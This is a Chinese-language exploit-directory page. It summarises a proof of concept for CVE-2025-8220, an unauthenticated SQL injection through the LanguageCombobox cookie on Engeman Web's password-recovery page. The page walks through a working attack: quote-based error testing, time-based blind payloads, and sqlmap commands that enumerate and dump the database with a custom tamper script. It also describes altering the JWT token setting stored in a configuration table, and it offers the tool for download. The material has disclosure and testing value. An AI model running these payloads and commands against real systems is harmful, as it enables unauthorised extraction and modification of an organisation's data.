Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
engeman-web-language-combobox-sqli — 针对CVE-2025-8220所描述漏洞的利用概念验证,该漏洞涉及Engeman Web软件在密码恢复页面加载过程中存在SQL注入的可能性。 | Kitploit
工具/GitHubGitHub/m3m0o/engeman-web-language-combobox-sqli
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubm3m0o/engeman-web-language-combobox-sqli

engeman-web-language-combobox-sqli

针对CVE-2025-8220所描述漏洞的利用概念验证,该漏洞涉及Engeman Web软件在密码恢复页面加载过程中存在SQL注入的可能性。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
3111年前尚未审核
分享

Engeman Web <= 12.0.0.2 密码恢复页面加载未授权SQL注入

关于CVE-2025-8220中所述漏洞的利用概念验证,该漏洞涉及在Engeman Web软件密码恢复页面加载过程中存在SQL注入的可能性。

描述

在Engeman Web软件中发现了一个漏洞,该漏洞允许操作密码恢复页面加载时执行的SQL查询。此漏洞可由未持有任何有效凭证的访问者(即未授权方式)利用,从而危及应用程序数据库中存储的数据的机密性和完整性,并可能通过修改关键表中的值在组件层面造成拒绝服务。

供应商网站

https://engeman.com/en/

漏洞利用

访问应用程序并重定向到登录页面后,点击按钮以重定向到密码恢复页面。

Engeman Web 初始页面

Engeman Web 密码恢复页面

检查浏览器为加载密码恢复页面而发出的请求。您会注意到存在一些Cookie,包括LanguageCombobox Cookie,该Cookie在初始访问期间存储。本演示使用Burp Suite软件以更高效地查看和重新发送浏览器请求。

获取密码恢复页面内容的请求

为确认漏洞,将单引号作为所述Cookie的值插入并重新发送请求。应用程序的响应中应显示指示未闭合引号的错误。

通过在LanguageCombobox Cookie值中插入单引号强制应用程序产生错误

查询结果不会直接显示在返回的页面上,因此这是一种盲注利用。您可以插入诸如 ' AND SLEEP(30)-- - 或 '; WAITFOR DELAY '0:0:30'-- 的有效载荷来推断底层数据库类型。

通过基于时间的有效载荷推断底层数据库类型

一旦确认注入,可以使用诸如 sqlmap 的自动化工具来导出数据库。

需要注意的是,--technique 参数必须包含值 SEB,以便使用基于堆叠查询、错误和布尔比较的技术。首先,因为必须进行盲注利用;其次,因为省略参数值中的 S 选项导致 sqlmap 无法在 SQL Server 数据库中找到注入点。

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

使用 sqlmap 测试注入点

通过注入点将识别出不同的可能利用技术。之后,可以检索数据库信息。

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

通过 sqlmap 获取可用数据库

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

通过 sqlmap 获取可用表

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

通过 sqlmap 获取可用列

要使用 sqlmap 导出表记录,需要使用自定义的 tamper 脚本(至少对于 SQL Server 数据库),该脚本在此仓库中名为 replace-dbo.py。原因在于 sqlmap 使用格式 <database>.dbo.<table> 引用表对象的有效载荷与应用程序的处理发生冲突。所提及的 tamper 仅将其转换为格式 <database>.<table>。如果 Engeman Web 实例使用 MySQL 或其他数据库,则无需此 tamper,或需要创建另一个。

尝试使用格式 <database>.dbo.<table> 的有效载荷引用表对象

尝试使用相同有效载荷但现在使用格式 <database>.<table> 引用表对象

请记住,sqlmap 工具要求 tamper 脚本所在目录中存在一个名为 init.py 的空文件才能使用,如果你没有将其放置在安装的默认 tamper 目录中。

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py

检索应用程序的通用配置

此 tamper 如果在除特定表导出之外的任何阶段使用,都会引起冲突。因此,不要用它来获取数据库 (--dbs)、表 (--tables)、列 (--columns) 或其他信息,如数据库用户 (--current-user)。

由于应用程序用于与数据库交互的用户在系统记录上下文中拥有高权限,因此还可以操作底层查询来修改表记录的值(如果实例使用 SQL Server 作为底层数据库,这将更加容易)。

CFGGERAL表唯一条目的JWTVALIDOTOKEN列初始值

修改JWTVALIDOTOKEN条目的列值

CFGGERAL表唯一条目的JWTVALIDOTOKEN列修改后的值

影响

通过此漏洞,任何系统实例都可能受到未经授权的数据检索以及可能的数据修改的影响,这些数据存在于正在使用的数据库中。

该漏洞已在高达 12.0.0.1 的版本中得到确认,但较新的版本也可能存在漏洞。

下载工具